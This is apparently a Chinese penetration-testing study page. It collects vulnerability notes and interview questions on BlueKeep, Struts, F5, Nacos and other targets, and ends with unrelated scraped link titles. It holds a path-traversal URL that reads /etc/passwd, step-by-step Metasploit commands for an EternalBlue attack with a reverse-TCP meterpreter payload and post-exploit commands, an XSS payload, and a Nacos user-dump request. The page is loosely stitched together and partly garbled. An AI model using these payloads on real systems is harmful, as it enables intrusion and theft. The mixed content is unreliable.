介绍
#
渗透中 /etc/passwd 文件的进一步利用思路
zookeeper 未授权
二、描述一下外围打点的基本流程？
未授权类 信息泄露 JetBrains .idea 项目路径未删除 例如：https://IP地址/.idea/workspace.xml 漏洞危害： 它允许恶意黑客收集相关信息，这些信息可以在攻击生命周期的后期使用，以便在无法访问这些信息的情况下获得更多。 修复建议： 删除该路径。 CVE-2019-0708 BlueKeep远程桌面代码执行漏洞 漏洞详情： 当未经验证的攻击者使用RDP连接到目标系统并发送精心编制的请求时，远程桌面服务（以前称为终端服务）中存在远程代码执行漏洞。此漏洞是预验证漏洞，不需要用户交互。成功利用此漏洞的攻击者可以在目标系统上执行任意代码。然后，攻击者可以安装程序；查看、更改或删除数据；或者创建具有完全用户权限的新帐户。 要利用此漏洞，攻击者需要通过RDP向目标系统远程桌面服务发送精心编制的请求。 漏洞危害： 成功利用此漏洞的攻击者可以在目标系统上执行任意代码。 CVE-2021-21985 VMware vCenter Server 远程代码执行 Apache 任意文件读取 (CVE-2020-17519) 例如： http://<IP地址>:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd 用友nc任意文件上传漏洞 用友NC-OA漏洞合集 Liquan 连接木马 ms17-010（Eternal blue永恒之蓝） 使用 msf 工具攻击 msfconsole # options 和 payload 设置如下 msf > use exploit/windows/smb/ms17_010_eternalblue (加载攻击模块) msf > set RHOST 192.168.92.129（被攻击机IP） msf >set LHOST 192.168.92.132（设置本地IP） msf >set LPORT 4444(设置连接端口) msf >set payload windows/x64/meterpreter/reverse_tcp（配置回链方式） msf >show options(查看配置相关信息) msf >run（或者exploit,开始攻击） 四、 攻击成功！查看系统信息 meterpreter>sysinfo 爆出系统信息 meterpreter>screenshot 截屏，截屏后的图片存放在/root/中 meterpreter>net user 查看用户密码 MySQL JDBC反序列化漏洞 MySQL JDBC反序列化漏洞案例 发现方法： 发现后台中有数据库连接功能，经过测试使用的jdk版本较低，可进行jdbc反序列化漏洞。 在服务器上搭建恶意的mysql服务器，之后使用数据库连接功能连接恶意的mysql服务器，成功读取到/etc/host文件： 存储型XSS漏洞 超链接插入、图片插入 "><img src=1 onerror=alter(1)> 版本泄露漏洞 nginx 报错无屏蔽版本 Windows Print Spooler服务最新漏洞CVE-2021-34527详细分析 https://blog.csdn.net/weixin_45728976/article/details/118612863 windows CVE-2019-0708 漏洞利用复现 https://www.freebuf.com/articles/system/269901.html 0x00漏洞概述: Windows系列服务器于2019年5月15号，被爆出高危漏洞，该服务器漏洞利用方式是通过远程桌面端口3389，RDP协议进行攻击的，堪比WannaCry(蠕虫病毒)。 0x01影响版本: Windows 7 Windows Server 2008 R2 Windows Server 2008 Windows Server 2003 Windows XP Struts 远程代码执行漏洞(CVE-2016-1000031) Struts2 是Apache软件基金会负责维护的一个基于MVC设计模式的Web应用框架开源项目。 Apache Struts 2.3.36及之前的版本使用了Commons FileUpload 1.3.2及以下版本，该库作为Struts2的一部分，被用作文件上传的默认机制，该上传机制存在一个高危漏洞，远程攻击者可以利用该漏洞获得远程代码执行能力。 https://www.zerodayinitiative.com/advisories/ZDI-16-570/ https://www.cnblogs.com/peace-and-romance/p/15652512.html Hadoop Yarn REST API 未授权漏洞 https://developer.aliyun.com/article/824738 Nacos 未授权漏洞复现 Nacos 未授权漏洞复现 get方式获得其他用户信息： GET /nacos/v1/auth/users?pageNo=1&pageSize=999 HTTP/1.1 Host: XXX User-Agent: Nacos-Server Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: zh-CN,zh;q=0.9 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: cross-site Sec-Fetch-User: ?1 Upgrade-Insecure-Requests: 1 Accept-Encoding: gzip F5 漏洞-CVE-2021-22986 F5 BIG-IP 远程代码执行漏洞复现 CVE-2021-22986
未授权类
冰蝎2.0-3.0没有特征怎么检测 冰蝎-特征检测及报文解密 sql注入不同数据库的区别 spingboot evn会有哪些利用
正文 今天分享一个白嫖FOFA会员的Tips
12年36套四级真题试卷的单词频率统计程序
快捷运维kjyw，运维脚本工具库，主要功能实现快速安装nginx、mysql、php、redis、nagios运维经常使用的脚本等等...
可能是让你受益匪浅的英语进阶指南
向发起人致敬 https://github.com/WorkerLivesMatter/WorkingTime